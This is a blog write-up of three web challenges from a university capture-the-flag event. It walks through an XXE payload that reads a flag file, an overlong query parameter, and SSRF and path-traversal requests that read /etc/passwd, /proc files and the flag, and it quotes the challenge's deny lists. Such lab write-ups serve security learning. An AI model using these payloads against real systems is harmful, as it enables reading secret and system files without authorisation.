Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon APU Battle Of Hackers (BOH) 2023 Web Challenges Writeup

Introduction


On 2nd December, my team (UN1OR3N) and I participated in APU BOH 2023 and achieved 10th place out of 107 participating teams.

There are still areas which I know nothing of and didn’t have the leisure of time to mingle with. During the competition, I opted for the easier challenges first, then moved on to the medium ones.

But honestly, for the web challenges… I am little bit salty on the egg challenge. Sorry challenge creator 😤

Entity Entropy


For this challenge, we were given a website where could upload a file and a source code for the page.

Image in a image block
Front Page

index.php

<?php
// HTML content with Star Wars Dark Side theme
echo <<<HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dark Side Entity's Challenge</title>
    <style>
        body {
            background-color: black;
            color: red;
            font-family: 'Arial', sans-serif;
        }
        h1 {
            color: red;
        }
        .form-container {
            width: 50%;
            margin: auto;
            padding: 20px;
            border: 2px solid red;
            background-color: black;
        }
    </style>
</head>
<body>
    <h1>Welcome to the Dark Side Entity's Challenge</h1>
    <div class="form-container">
        <form action="index.php" method="post" enctype="multipart/form-data">
            <input type="file" name="xmlfile">
            <input type="submit" value="Execute Dark Ritual">
        </form>
    </div>
</body>
</html>
HTML;

$ext_ent_exists = false;
$darkside_el_exists = false;
$validate_el_exists = false;

function ext_ent_handler($parser, $name, $base, $systemId, $publicId) {
    if ($systemId === "file:///var/secret/flag.txt" && $name === "trigger") {
        echo "The Dark Side conceals its secrets well.<br>";
        $GLOBALS["ext_ent_exists"] = true;
        return true;
    }
    return false;
}

function el_handler_start($parser, $el_name, $el_attrs) {
    switch($el_name) {
    case "DARKSIDE":
        $GLOBALS["darkside_el_exists"] = true;
        break;
    case "VALIDATE":
        $GLOBALS["validate_el_exists"] = true;
        break;
    }
}

function el_handler_stop($parser, $el_name) {}

function isXMLFile($file) {
    $fileType = mime_content_type($file);
    return $fileType === 'text/xml' || $fileType === 'application/xml';
}

$xmlparser = xml_parser_create();
xml_set_external_entity_ref_handler($xmlparser, 'ext_ent_handler');
xml_set_element_handler($xmlparser, 'el_handler_start', 'el_handler_stop');

if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['xmlfile'])) {
    $xmlfile = $_FILES['xmlfile']['tmp_name'];

        // Validate if the uploaded file is an XML file
    if (!isXMLFile($xmlfile)) {
        echo "Only XML files are allowed.<br>";
        exit;
    }

    // Validate file size (maximum 1024 bytes)
    if ($_FILES['xmlfile']['size'] > 1024) {
        echo "The Dark Side rejects your offering.<br>";
    } else {
        $xml_content = file_get_contents($xmlfile);
        xml_parse($xmlparser, $xml_content, true);
        if ($ext_ent_exists && $darkside_el_exists && $validate_el_exists) {
            $flag = file_get_contents('/var/secret/flag.txt');
            echo "The Dark Side reveals its secrets: $flag<br>";
        } else {
            echo "Invalid Dark Side invocation!<br>" . "\n";
        }
        xml_parser_free($xmlparser);
    }
}
?>

Usually, for XML files, we will have to work with XXE (XML external entity) injection. Based on the source code, you couldn’t just upload any XML file due to certain checks.

Image in a image block
Only XML files are allowed. But WHAT KIND OF XML?!

To get the flag, we have to make sure the below code block is executed.

    if ($ext_ent_exists && $darkside_el_exists && $validate_el_exists) {
         $flag = file_get_contents('/var/secret/flag.txt');
         echo "The Dark Side reveals its secrets: $flag<br>";
    } else {
         echo "Invalid Dark Side invocation!<br>" . "\n";
    }

To achieve that, we have to set $ext_ent_exists, $darkside_el_exists and $validate_el_exists to true.

Now, we have 3 variables which needs to be set to true, which could be done by crafting our own XML payload.

We’ll go through the step one by one.

$ext_ent_exists

To set $ext_ent_exists as true, we need to create an XML payload that will fit the criteria below.

function ext_ent_handler($parser, $name, $base, $systemId, $publicId) {
    if ($systemId === "file:///var/secret/flag.txt" && $name === "trigger") {
        echo "The Dark Side conceals its secrets well.<br>";
        $GLOBALS["ext_ent_exists"] = true;
        return true;
    }
    return false;
}

This is how it will look like at this stage:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY trigger SYSTEM "file:///var/secret/flag.txt">
]>
<data>
    &trigger;
</data>
$darkside_el_exists and $validate_el_exists

Next is to set $darkside_el_exists and $validate_el_exists as true. This one is actually a pretty straightforward check.

function el_handler_start($parser, $el_name, $el_attrs) {
    switch($el_name) {
    case "DARKSIDE":
        $GLOBALS["darkside_el_exists"] = true;
        break;
    case "VALIDATE":
        $GLOBALS["validate_el_exists"] = true;
        break;
    }
}

You just need to have the XML tags <DARKSIDE> and <VALIDATE> inside your XML payload, and your final payload will look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY trigger SYSTEM "file:///var/secret/flag.txt">
]>
<data>
    <DARKSIDE></DARKSIDE>
    &trigger;
    <VALIDATE></VALIDATE>
</data>

The final step is to upload the XML payload you have crafted above, and you will get the flag! (make sure you saved it as .xml file)

Image in a image block
Yay! A nice XXE challenge.

Egg


For this challenge, we were given a web with nothing but the egg text. (no source code or anything), which.. was actually pretty guessy for a web challenge.

Image in a image block
what egg?

Actually, I’ve read a writeup about a similar challenge from the recent Petronas CTF here (Thanks W0rmhol3!).

Apparently, the solution is actually very simple. We just have to pass in the GET parameter as below:

http://challenge.com/?egg=A * 5000+ times
// which will look like this
http://challenge.com/?egg=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

and you will get the flag!

Image in a image block

How did I know how many times of A should we input?


Well, I don’t really know at first.. what I did was, I put so much A into the GET request until we hit the 431 Request Header Fields Too Large response.

And from there, we start cutting the A characters until we no longer hit the limit response above.

pls no more egg 🥲

The Spy


For this challenge, I didn’t manage to solve it during competition time due to my own silly mistake. regrets 😭

We were given a website where you could fetch any website’s source code as below.

Image in a image block

First thing I did was for this challenge is to test for SSRF (Server-Side Request Forgery) + LFI (Local File Inclusion) vulnerability using the file:/// protocol. And boy, it worked!

Image in a image block

Well, next thing I did was to try to read the source code of the page.

We could probably see where the source code are located by reading the /proc/self/environ file and /proc/self/cmdline (considering that they are running Linux).

Image in a image block
/proc/self/environ
Image in a image block
/proc/self/cmdline

From the file above, we know that the source code is running from /usr/src/app folder.

And.. this is where I messed up and made a silly mistake.


I thought that the file name is actually nodeapp.js but I was wrong.

/proc/self/cmdline was showing that it’s actually running the node command, which kind of looks like this.

node app.js

The actual file name is actually app.js😭


Now, let’s move on to the next step now that we know that the source code lies in /usr/src/app/app.js .

Traversing to the source code file, we were given this gibberish obfuscated JS (Javascript) code.

Image in a image block

You could just deobfuscate the code using this online deobfuscator:

https://obf-io.deobfuscate.io/

Not fully deobfuscated JS code that we can work with:

const express = require("express");
const bodyParser = require("body-parser");
const axios = require("axios");
const fs = require('fs');
const path = require("path");
const JavaScriptObfuscator = require('javascript-obfuscator');
const app = express();
app.use(bodyParser.json());
app.use(express['static']("public"));
const policy = {
  'allow': ["readFile", "writeFile"],
  'deny': ["flag.txt", '%66%6C%61%67%2E%74%78%74', "./flag.txt", "..\\flag.txt", ".\\flag.txt", "/etc/passwd"]
};
app.get("/fetch-url", async (_0x19d960, _0xeaa347) => {
  const _0x397bce = _0x19d960.query.url;
  const _0x51ae9a = ["http://localhost", "https://localhost", "http://127.0.0.1", "https://127.0.0.1", "http://0.0.0.0", "https://0.0.0.0", "file:///flag.txt", "file:///Dockerfile"];
  if (!_0x397bce || _0x51ae9a.some(_0x213afe => _0x397bce.startsWith(_0x213afe))) {
    return _0xeaa347.status(0x190).send("Invalid or disallowed URL!");
  }
  if (!_0x397bce || _0x51ae9a.some(_0x2ada11 => _0x397bce.startsWith(_0x2ada11)) || /(?:\.\.\/|\.\.\\|\.\/|\.\\)*flag\.txt/i.test(_0x397bce)) {
    return _0xeaa347.status(0x190).send("Invalid or disallowed URL!");
  }
  if (_0x397bce.startsWith("file:///")) {
    const _0x2abc43 = path.resolve(_0x397bce.replace("file:///", ''));
    fs.readFile(_0x2abc43, 'utf8', (_0x2efd26, _0x3f318d) => {
      if (_0x2efd26) {
        return _0xeaa347.status(0x1f4).send("Error reading file!");
      }
      if (_0x2abc43.endsWith("app.js")) {
        const _0x1308b1 = JavaScriptObfuscator.obfuscate(_0x3f318d).getObfuscatedCode();
        return _0xeaa347.send(_0x1308b1);
      }
      _0xeaa347.send(_0x3f318d);
    });
    return;
  }
  try {
    const _0xf25ddb = await axios.get(_0x397bce);
    _0xeaa347.send(_0xf25ddb.data);
  } catch (_0x9bc394) {
    _0xeaa347.status(0x1f4).send("Error fetching URL!");
  }
});
app.get("/secret-endpoint", (_0xefe37c, _0x4aa527) => {
  const _0x543513 = _0xefe37c.query.file;
  if (policy.deny.includes(_0x543513)) {
    return _0x4aa527.status(0x193).send("Access denied!");
  }
  fs.readFile(_0x543513, "utf8", (_0x1866f0, _0x2ac434) => {
    if (_0x1866f0) {
      return _0x4aa527.status(0x1f4).send("Error reading file!");
    }
    _0x4aa527.send(_0x2ac434);
  });
});
app.listen(0xbb8, () => {
  console.log("Server started on http://localhost:${PORT}`");
});

This particular code block looks interesting…

// Mock policy.json
const policy = {
    "allow": ["readFile", "writeFile"],
    "deny": [
        "flag.txt", 
        "%66%6C%61%67%2E%74%78%74", 
        "./flag.txt", 
        "..\\flag.txt", 
        ".\\flag.txt",
        "/etc/passwd"
    ]
};
app.get("/secret-endpoint", (_0xefe37c, _0x4aa527) => {
  const _0x543513 = _0xefe37c.query.file;
  if (policy.deny.includes(_0x543513)) {
    return _0x4aa527.status(0x193).send("Access denied!");
  }
  fs.readFile(_0x543513, "utf8", (_0x1866f0, _0x2ac434) => {
    if (_0x1866f0) {
      return _0x4aa527.status(0x1f4).send("Error reading file!");
    }
    _0x4aa527.send(_0x2ac434);
  });
});

Browsing to the /secret-endpoint and passing in the file GET param, we can read any file, same as before, but the difference this time is that, we now have to work through the policy filter above to get the flag.

http://challenge.com/secret-endpoint?file=../../../../../etc/passwd
Image in a image block
Reading /etc/passwd using secret-endpoint

It’s actually not a much of a filter. You could just pass in the full path or extra ../(depending on where it is located) and bypass the policy filters.

Since they are blocking the flag.txt, ./flag.txt path, I am guessing the flag must also be in the same folder as the running web app. Below is our final payload.

http://challenge.com/secret-endpoint?file=/usr/src/app/flag.txt

Image in a image block
And here’s the flag!

Apologiz note:

I crashed the web few times without knowing. I only realized that I was the culprit after my 3rd-4th attempts..

What I did was, I sent a null byte which looks like below and see if I could bypass the filter somehow. Sadly, it did not, instead it crashed the server.

GET /fetch-url?url=file:///../../../../../../../../flag.%00txt

Sorry guys and kudos to the organizers team cuz they were very quick to fix it! 🙏


Final Say


Thanks to the APU BOH 2023 organizer teams for holding such a great event, even though I think most of them were guessy to me (not a fan of a guessy challenge or I am just too noob 😭), still I had a lot of fun.

Tbh, I was kind of worried seeing the organizers looking sleep-deprived. I hope you all rested well after the event!

Also, big thanks to my team for the support and teamwork we did during the competition. 🔥

Let’s do BOH again next year!

Thanks for reading my writeup!